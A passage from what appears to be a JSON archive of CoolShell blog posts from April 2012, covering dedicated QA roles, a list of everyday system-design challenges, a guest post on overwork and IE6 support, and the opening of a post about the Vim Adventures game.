。</strong>所谓集成测试，就是把多个开发团队开发的模块集中起来测试。因为开发人员可能无法看到全局，不了解别个团队的系统，而且步调不一，所以需要有统管全局的专职的QA进行统筹规划并做测试。对这个方面，我并不反对，在实际操作过程中，好像的确用专职的做集成测试的QA统一调度各团队的时度更有效一些。不过，这还是不能让我停止去思考两个问题，1) 如果开发人员看不到全局，他能开发出更好的软件吗？2）这个全职的做集成测试的QA难道不能是各个团队的骨干Dev来组成吗？3）统一调度这个事，不更像是Project Manager要做的事吗？</li>\n</ul>\n<ul>\n<li><strong>关于自动化测试</strong>。所谓自动化的意思是，这是一个机械的重复劳动。我想让测试人员思考一下，你是否在干这样的事？如果你正在干这样的事，那么，你要思考一下你的价值了。但凡是重复性比较高的机械性的劳动，总有一天都会被机器取代的。</li>\n</ul>\n<ul>\n<li><strong>关于线上测试</strong>。我们都知道，无论自己内测的怎么样，到了用户那边，总是会有一些测试不到的东西。所以，有些公司会整出个UAT，用户验收测试。做产品的公司会叫Beta测试。无论怎么样，你总是要上生产线做真正测试的。对于互联网企业来说，生产线上测试有的在玩A/B测试，有的玩部分用户测试，比如，新上线的功能只有10%的用户可以访问得到，这样不会因为出问题让全部用户受到影响。做这种测试系统的人必然是开发人员。</li>\n</ul>\n<p>好吧，我暂时写这么多，我会视大家的讨论再补充我的观点的。</p>\n<p><em><strong>—– update  2012/4/11—–</strong></em></p>\n<p>一些人觉得我是在泄私愤，我能够理解为什么我会被这样误解，但是没有关系，很多新东西新观点总是会被误解的，我坦然面对。请大家抛开我的这些情感因素，单纯的思考一下，没有专职QA的的团队架构是否有积极的意义在里面？</p>\n<p><strong>再补充一点，大家思考一下，QA是保证质量的，但是很多QA是在做测试，软件质量是测试出来的吗？如果不从需求分析，软件设计，代码实现上做好控制，到测试的时候你还怎么保证质量呢？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6994.html\">我们需要专职的QA吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-17 挑战无处不在.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"225\" src=\"../wp-content/uploads/2012/04/11_154056_1-300x225.jpg\" title=\"解决问题\" width=\"300\"/>面试过一些应聘者，当我问到为什么换工作的时候，<strong>他们都会告诉我，现在的工作没有挑战，无聊，所以想换一个有挑战的工作</strong>。于是我问了一下他的工作情况，发现那些有挑战的东西他还没有搞懂。我总是为有这样的认识的朋友感到惋惜，因为我总是认为有挑战的东西无处不在啊，不能因为工作上没有，自己就放纵了自己。比如，面试过一个做地图的工程师，他的工作是做计算地图上任意两点的最短或最优路径的一部分功能。我觉得这个事很有挑战，也有难度，应聘者说，没什么挑战，因为他做的东西只是调用相关的算法库。他在这个项目干了2年了，当我问他有没有看过算法库，知不知道地图是怎么存储的？他却告诉我，<strong>因为没有去做，所以就没有去了解，等做的时候再了解</strong>（我希望有这样想法的人都去看看<a href=\"https://coolshell.cn/articles/4235.html\" rel=\"bookmark\">程序员的谎谬之言还是至理名言？</a>）。这样的例子很多，很多应聘者在面试中不能和我一起解决某个问题的时候，比如：OOD，数据库设计，系统设计，等，<strong>他们都会告诉我，不好意思，因为没有做过相关的事情，所以就不懂了，所以，他需要一个像我们这样的项目来学习和锻炼</strong>。我并不要求你能解决你所不擅长的问题，但毕竟数据库，OO，系统设计都是软件开发的基础知识，多少要懂一些吧。</p>\n<p>但另外一方面，他们都会告诉我他们对技术充满和热情和兴趣，有着很强的学习能力，也有很能吃苦的态度。这也许是某面试宝典上看来的，面经上可能都会说，如果面对不能作答问题，可以说一下自己的态度和决心。可惜的是，我并不这么想的，我在我的两篇关于招聘的文章里（<a href=\"https://coolshell.cn/articles/1870.html\" target=\"_blank\" title=\"我是怎么招聘程序员的\">我是怎么招聘程序员的</a>，<a href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（上）\">再谈我是怎么招聘程序员的</a>）都说过一些我对如何择人的想法。这里重点说明一下其中两个观点：</p>\n<ul>\n<li><strong>关于热情和态度，说白了就是不要给自己找借口</strong>。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。时间可以挤，工作之余可以学，随时随地去思考，挑战是无处不在的…… 想想那些你有热情的事，你会发现，几乎没有什么可以阻止你去做那些事。</li>\n</ul>\n<ul>\n<li><strong>对于某些事情，如果以前没有在你身上发生过，那么这个事情在未来也不会发生</strong>。如果你以前没有对你接触过的东西去学习，去深挖，去思考，去改善，那么我不会相信你会在未来面对新的东西的时候也会有这样的态度；如果你以前没有用业余时间学习一些项目之外的东西，那么我也不会相信你会在未来会这样做；如果你以前没有把你的热情和态度转换成你的知识，经验和成果，那么我也不会相信你会在未来能做到。</li>\n</ul>\n<p>这两个观点可能太刻薄了，但是，当我回想我自己的经历的时候，观察程序员的成长过程的时候，我发现，优秀的程序员都是相似的，当他们还在是一个菜鸟的时候，就已经有各种成为高手的苗头了，这些苗头就是——<strong>他们热爱思考，喜欢解决难题，对新鲜事物非常好奇，总是找人讨论，可以用自己的业余时间狠命研究很多和工作无关的技术，会在业余的时间里写些有趣的小程序，或是会把自己的思路书写下来，等等，等等</strong>。</p>\n<p><span id=\"more-7048\"></span></p>\n<h4>一些问题</h4>\n<p>我这样说，大家可能会觉得“挑战无处不在”这句话太虚了，而且可能不明白什么叫“热爱思考”，这里，我把我的或别人的思考的东西罗列一下，这些问题，有的会让我思考推敲，有的会让我疯狂地查资料，问人，或是找人讨论，询问。大家不妨可以跟着我一起思考一下。</p>\n<p>酷壳上有一些小问题，比如：<a href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\" title=\"面试题：火车运煤问题\">火车运煤问题</a>，<a href=\"https://coolshell.cn/articles/1202.html\" target=\"_blank\" title=\"面试题：赛马问题\">赛马问题</a>，这些问题都不够实际，我觉得也这些问题有点无聊，我们不妨观察一下我们身边的东西，我们就可以看到很多有挑的战的东西，对于这些问题，如果是你来做，你会怎么做呢？</p>\n<p>0）许多年前，当我看到珊瑚虫QQ把IP转成地实际地址的时候，我就在思考，如果我有一个IP网段的数据（<a href=\"https://coolshell.cn/articles/244.html\" target=\"_blank\" title=\"全球IP地址数据库\">全球IP地址数据</a>），我怎么来完成这个功能呢？比如：某地点的IP网段是：10.10.1.* – 10.10.5.*。我要有一个IP地址是：10.10.3.20，我怎么匹配这个网段？用Hash表吗？好像有问题。把IP字串转成整型？排序+二分法，好像更容易解决一些，但是如果有一些修改的话好像有点不方便。用树型结构（森林）会不会更好一些呢？如果我要通过地点反查IP段呢？</p>\n<p>1）网上短网址服务，你有想过这个短网址生成的算法是什么，如何能做到能最短？怎么查询？你也许觉得会用key-value的NoSQL。那么，如果对于同一个URL，如果要重用已生成的短网址，你怎么用key-value的NoSQL来解决？</p>\n<p>英汉词典的检索和这个很相似，如果通过英文查汉语，又通过汉语查英文？如果是N多种语言的互相翻译呢？你的数据存储和检索如何做呢？</p>\n<p>2）当我看到Dropbox这样的云同步的软件的时候，我不知道你是否会和我一样会去思考，在多个设备间的文件同步是怎么做的？如果网盘上有几万，甚至几百万个文件，当要和我的本地数据同步时，他如何比较经济地知道哪些文件更改了？需要向服务端同步或是向客户端同步。更进一步，你有没有想过没有中心结点的文件同步问题？你有没有想过，文件冲突的问题？</p>\n<p>3）我们的新员工入职的时候，有一些公司会给新员工的帐号生成一个随机口令，然后新员工可以在登录后修改口令（我一直在想我们的银行应该为用户生成一个随机口令，而不是设置一个6个0或是6个8的初始口令）。那么，对生成随机安全口令的算法知道怎么做吗？如果你写出这个算法来了，你怎么证明这个算法是足够随机，生成的密码强度足够大的？（你会发现，测试口令是否随机是否安全的程序，会比生成器更难写）</p>\n<p>4）关于动态密码RSA SecurID（如下图），这个小设备上的6位数字会每60秒变一次，在你登录的时候，需要输入这6位数字，服务器上会认证这6个数字，那么这个事怎么做？再试想一下，这样的小设备我要发给我的客户，我希望我的每个客户都使用不一样的随机算法，就算是算法一样，算法的种子也不能一样。那么，如果我的客户一共有百万甚至千万，我的服务端怎么管理这些用户的SecurID？</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"125\" src=\"http://keithelder.net/blog/images/keithelder_net/blog/WindowsLiveWriter/SettingupRSASecureIDonWindowsMobile_A318/image_1.png\" title=\"RSA Secure ID\" width=\"230\"/></p>\n<p>5）看看我们的网银或是ATM的用户登录功能，如果你登录时输错口令超过3次以上，你的帐号就会被冻结，需要去柜台重置口令。这个功能看上去很安全，因为可以防止黑客在线尝试破解你的登录口令。不过这又带来了另一个问题，如果有一个恶意用户知道你的卡号，他就上网或是造个卡故意输错你的口令，导致你的帐号被冻结，让你一次又一次地去银行排队重置。面对这样的情况，你该怎么解决？</p>\n<p>6）当你在网上购物的时候，你会去一些电子商务的网站，这些网站都会对他们的产品进行分类，有大分类有子分类。你进到分类后，你可以通过不同的属性来过滤不同该分类下的商品，注意，不同分类下的商品的过滤属性不一样，如，手机分类和电视分类的属性都不一样。试问，你如何设计你的数据库表结构？</p>\n<p>7）当你在泡各种论坛或SNS社区的时候，你会看到，用户在互相回复的时候存在一个问题，尤其是用户量很大的时候，大家的回复完全交织在一起什么 也看不清楚。以前有的论坛使用树形列表来解决这个问题，树形列表好是好，但是把一棵大树放在那里还是很难看。Twitter.com给了一个非常不错的解决方式，就是所有人的回复或是回复的回复都按时间线放在一起，如果你要查看某回复的上下文的话，点击一下这个回复就可以看到了（我在我在“<a href=\"https://coolshell.cn/articles/5247.html\" target=\"_blank\" title=\"国内微博和Twitter的最大不同\">国内微博和Twitter的最大不同</a>”中批评过这个事）。新浪微博在禁评论事件后也开发出了这个功能。你知道这个事怎么做吗？</p>\n<p>更进一步，新浪微博的设计上有很多的缺陷，单说新开发的“查看评论”功能这个事来说，还是不完美，因为某些评论会随着转发带到别的地方去，他的“查看评论”功能只能看到当个贴子下的东西，不能把所有转发出去的贴子的评论一起综合起来。虽然这对于用户使用来说没有什么在不了的，但是对于软件设计来说，我们不妨做一个练习，可以思考一下，怎么样设计会更好。</p>\n<p>再举一反三，有时候，我发现多个网友会提出同样的问题，我很想用一个回复同时回复他们。如果有这样的功能的话，我们的回复就会从一个树形变成另外一种形状了，我们又该如何设计才能支持这样的功能呢？</p>\n<p>8）说到新浪微博，我就想多说几句，我最近观察到了两个事：</p>\n<ul>\n<li>一个是验证码的事，如果你在你的帐号设置里设置了“登录需要验证码”，你会发现，在登录新浪微博的时候，仅当你输对了口令后，系统才会提示你输入验证码。为什么呢？因为，这个“登录需要验证码”这绑定在你的帐号设置里的，所以，要取这个设置，就需要你登录成功（？！），老实说，这个功能在设计上有点二（中国特色）。如果是你，你怎么设计呢？</li>\n</ul>\n<ul>\n<li>另一个事情是新浪微博或Twitter的用户名修改后，被他人@过的信息就再也链接不到你这里来了。我们来试想一下，如果是你，你怎么解决这个问题？（我的<a href=\"http://weibo.com/1401880315/yclT9m6Fp\" target=\"_blank\">我的微博里讨论过这个事</a>，不一定对，供大家参考）</li>\n</ul>\n<p>9）我有时候我会发一些快递，有时候是一些小东西，有时候是一些大包裹，有时候近，有时候远。我发现一个有趣的现象，就是快递员来收件的时候，快递的价格都是快递员自己说了算的，我还可以和他们砍价。我观察到他们会以距离，重量大小来订价。于是我在想如果你要运营一个物流公司，你作为这个物流公司的程序员，你需要开发一个软件来标注快递价格，你会怎么做？比如，这个快递公司会说，在北京五环以内是一个价，以外是一个价，出省后，上海以北是一个价，上海以南是一个价，等等，这只是北京的，如果把全国的各个城市到别的城市的价格都考虑进来，还要受到重量，体积，价格，是否加急等等因素的影响，你的数据库设计要怎么做呢？</p>\n<p>A）国内的水军太恐怖了。他们活动的刷排名，刷信用，刷积分，刷粉丝等等地方，你是否想过如何解决这个问题？还有广告联盟的欺诈问题，等等。这些东西，有的还是可以通过技术手段进行限制和计算的，你有思考过应该使用什么样的方法吗？</p>\n<p>B）说到水军就不能不提垃圾邮件和垃圾短信。你有没有想过邮件系统怎么过滤垃圾信息的？</p>\n<p>C）关于推荐功能，这必然是一个热点，这是软件产品从request -&gt; response的被动方式到主动方式的进化。微博上有推荐关注者的功能，电商有推荐商品的功能，豆瓣上有推荐影片音乐书籍的功能。不同的领域的推荐算法各不相同，你有没有思考过，如果是你来做推荐算法的时候，你会怎么做吗？更进一步，推荐通常伴随着学习和匹配，学习用户的行为，匹配相似的东西，你想过怎么学习用户的行为，怎么匹配相似的东西了吗？</p>\n<p>D）关于微博，某名人有几千万的粉丝，当这个名人发一个微博的时候，需要通知这几千万个粉丝，这个在系统架构上应该怎么做？如果某天这个名人与人发生口角，和人吵架，拼命的刷微博，那么，系统架构要怎么设计才能支持这样的事呢？</p>\n<p>E）想想火车票的分段卖票的方式，现有的解决方案是为每个站点预留票，于是我们可以看到火车始发时，有很多空坐，这些空坐都是留给下一个站点的，我们能否开发出一个系统来，可以把一条线上的这些这站上那站下的旅客统筹规划一下，制定出一个最经济的方式，让火车运行得更有效。</p>\n<p>F）对于地铁公交网络，我们希望这个网络既能有更多的覆盖，又能节省路线，你能不能设计出一个系统，当我们输入一些数据（如：站点，是否终点或起点站，该站的下一站可能方向（多个），该站是以上车为主，还是下车为主，等等），你的系统能自动安排出各种线路吗？</p>\n<p><strong>这样的问题实在是太多了，都是可以让我们去思考的，并不一定有经济效益，但是至少可以让你锻炼一下怎么去分析问题，怎么去思考，怎么去解决问题</strong>。</p>\n<h4>总结</h4>\n<p>综上所述，我想说的是：</p>\n<p>1） 只要你想，挑战是无处不在的。那怕是你现有的觉得无聊的东西，只要你想做到极致，那怕是一个简单的功能（比如<a href=\"https://coolshell.cn/articles/5353.html\" target=\"_blank\" title=\"你会做Web上的用户登录功能吗？\">用户登录的功能</a>）也会让你充满挑战。</p>\n<p>2）观察身边的事物，去思考，去调查，举一反三，这才是你成长的源泉。不要把你的成长推给客观原因。</p>\n<p>3）我的<a href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\" title=\"软件开发的“三重门”\">软件开发的三重门</a>中说过，第三重门是解决实际问题，让你的业务处理更为的智能，更为地强大。我不知道为什么这一两年，我们的圈子里所有的人都在关注着“云”，“海量数据处理”，“高性能架构”这样的东西，尤其是那些性能调的高性能的东西并不很难，而这些更为实际问题更有挑战性，也更有前景。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7048.html\">挑战无处不在</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-19 这到底是谁之错？.html",
    "content": "<html><body><p>【感谢 @<a href=\"http://weibo.com/hfcc?source=webim\" target=\"_blank\" title=\"风枫峰\">风枫峰</a> 投递本文】</p>\n<p><strong>故事一：</strong><br/>\n背景介绍：RT是一个外包公司，ZWZX是项目承接公司，YD是甲方。</p>\n<p>RT公司每天下班的时候都会接到ZWZX负责人的电话，询问一天的工作情况，然后布置任务要求晚上加班做完，RT公司的员工很无奈也很气愤因为每天都要加班，员工们就问项目经理：“为什么天天加班赶需求，今天才提一个需求，明天就要上线，还让不让人活了?” 项目经理无奈的说：“我有什么办法啊？这是人家ZWZX负责人说的啊，对方逼得紧。”</p>\n<p>多次以后项目经理也忍不住了，就问ZWZX的负责人怎么天天这样啊，ZWZX的负责人就说了:”明天就要向YD的负责人展示这个页面，我也没有办法啊？YD那边老总就是这么要求的，我怎么办，我也不想这样啊？”</p>\n<p>然后RT的项目经理实在受不了了就辞职了，新上任的项目经理又会走他的老路，因为从开始我们就被培养“满足客户的需求是最重要的”。RT的员工也就这样一直抱怨着，一直忍受着。天天在心里咒骂YD的老总真是没有人性，不拿人当人看啊！</p>\n<p>人换了一批又一批，加班也就慢慢的变成了应该的，你不加班说明你不敬业，不合格。</p>\n<p><strong>故事二：</strong><br/>\nIE6一直存活着，所有的前端开发人员都痛恨它，都不想兼容它，可是产品经理看到IE6的市场占有率还是这么高，就会要求前端开发人员必须兼容IE6。</p>\n<p><span id=\"more-7126\"></span></p>\n<p>矛盾又来了，就像故事一一样，前端开发人员天天抱怨，产品经理也天天抱怨，但是面对IE6的市场份额，产品经理会劝开发人员说：“我有什么办法啊？IE6的市场份额就是这么高，不兼容怎么办啊？我也不想啊！” 开发人员也就这样忍受着，然后不断地抱怨用IE6的用户低端，没文化，怎么还用IE6啊！天天兼容IE6就够烦的了，还怎么创新啊！</p>\n<p><strong>这两个故事里出现的问题到底是谁的错误引起的？ </strong></p>\n<p>故事一的罪魁祸首是YD的老总吗？</p>\n<p>故事二的罪魁祸首是那些还用着IE6的用户吗？</p>\n<p>从这两个嫌疑最大的罪魁祸首眼中看一下这两个故事：</p>\n<p><strong>故事一：</strong><br/>\n我是YD的老总，我要建立一个网站，找到了ZWZX公司，签订了合同，我提需求他们实现。</p>\n<p>我不懂制作网站，可是我才思敏捷，创意无限，不停的会有好点子从我的脑海里蹦出来，每当有一个好点子蹦出来后，我都会给ZWZX公司的负责人讲清楚我的想法，让他实现，开始我不知道做一个页面需要多长时间。第一次我试探性的说了一周必须把我这个点子做出来，ZWZX公司负责人很痛快的答应了，一周后我果然看到了这个功能。</p>\n<p>可是会不会我给他们的时间太长了？对！肯定是，要不也不会答应的这么痛快。这些人啊！天天就是想拖时间，好多骗我点钱。</p>\n<p>点子又来了，这次我要求5天做出来，这个点子和上个点子类似，我倒要看看5天能不能做出来~  ZWZX公司负责人一副痛苦的表情，我会不会逼的太紧了，5天是不是真的做不出来？到时候看看吧，如果5天没做出来估计是我给的时间太少了。</p>\n<p>5天过去了ZWZX公司的负责人很高兴的拿出了我要的功能实现，哎，看来开始真的骗了我两天。就是不知道5天会不会还是多了啊？下次给3天~</p>\n<p>又拿出来了，虽然他装的好像时间太紧似的，可别以为我不知道，你第一个功能最多3天就做出来了，我还给了你7天的项目经费，你们多赚了我多少啊！！！！ 真是没良心。 下次1天！！！</p>\n<p>啊啊啊啊啊啊啊啊!!! 1天就出来了，这些人。。。。。  有没有良心，原来做这个这么简单，以后就给1天，不 ！ 一天N个功能。</p>\n<p><strong>故事二：</strong><br/>\n我买了个电脑，没什么别的用途，就是打开电脑上上网，上上QQ和儿子聊聊天，QQ是儿子给我装上的，这样我就可以和他视频了。有一次QQ提醒我说我的QQ版本太低了，不能视频了，我打电话问儿子，儿子说按提示升级一下QQ就行了，呵呵，我按QQ的提示，儿子的指示一步一步的升级QQ成功了，看来电脑也不难啊！</p>\n<p><strong>到这里您认为开始的两个故事的罪魁祸首是谁啊？</strong></p>\n<p>我们一直以加班，甚至通宵去满足客户不合理的要求，只因为他是客户。只因为人人都认为满足客户的要求是我们最大的<br/>\n价值，可是不合理的要求不能去拒绝吗？套用刘欢说的一句话“我们是不是活的应该有些尊严”，一味的迎合客户，只会让我们自己越来越痛苦，反而得不到用户的尊重，肯定。</p>\n<p>我一直有个疑惑，很多人说网站不支持IE6，而选择让用户去升级IE，这样的用户体验不好！如果按照按照这个逻辑，是不是我们都应该是Web应用，而且都应该是IE6下的Web应用呢？为什么微软还要出WIN8，一直XP不是挺好的吗？让用户升级系统，用户体验多么不好啊？QQ，360，搜狗输入法，等等客户端软件用户体验不都不好吗？ 都还要用户下载。</p>\n<p>实在搞不懂为什么我们做个东西非要去支持IE6呢？检测到用户是IE6，给个提示，给个升级链接不就行了？ 这样做用户体验是有多么不好吗？ 你天天去支持IE6，还要天天磨叽用户使用IE6，你不觉的很矛盾吗？再说我一个普通用户，你如果不提醒，我怎么知道要升级IE6啊？</p>\n<p><strong>对于遭遇了故事一，故事二的人只能送上一句话“哀其不幸，怒其不争！”</strong></p>\n<p>原文链接：<a href=\"http://hfcc8685.github.com/blog/2012/04/19/shui-zhi-cuo/\" target=\"_blank\">http://hfcc8685.github.com/blog/2012/04/19/shui-zhi-cuo/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-26 游戏：VIM大冒险.html",
    "content": "<html><body><p>不知道大家是否还记得“<a href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\" title=\"简明 Vim 练级攻略\">Vim简明攻略</a>”呢？你是不是对Vim的那一大堆热键很头痛呢？现在好好，下面这个游戏是一个使用VIM热键玩的游戏。你可以在玩游戏的过程中熟悉Vim的热键。</p>\n<p><strong>你可以点击图片，或是图片下的网址打开这个游戏</strong></p>\n<p style=\"text-align: center;\"><strong><a href=\"http://vim-adventures.com/\" target=\"_blank\">http://vim-adventures.com/</a></strong></p>\n<p style=\"text-align: center;\"><a href=\"http://vim-adventures.com/\" target=\"_blank\"><img alt=\"VIM大冒险\" class=\"wp-image-7172 aligncenter\" height=\"369\" 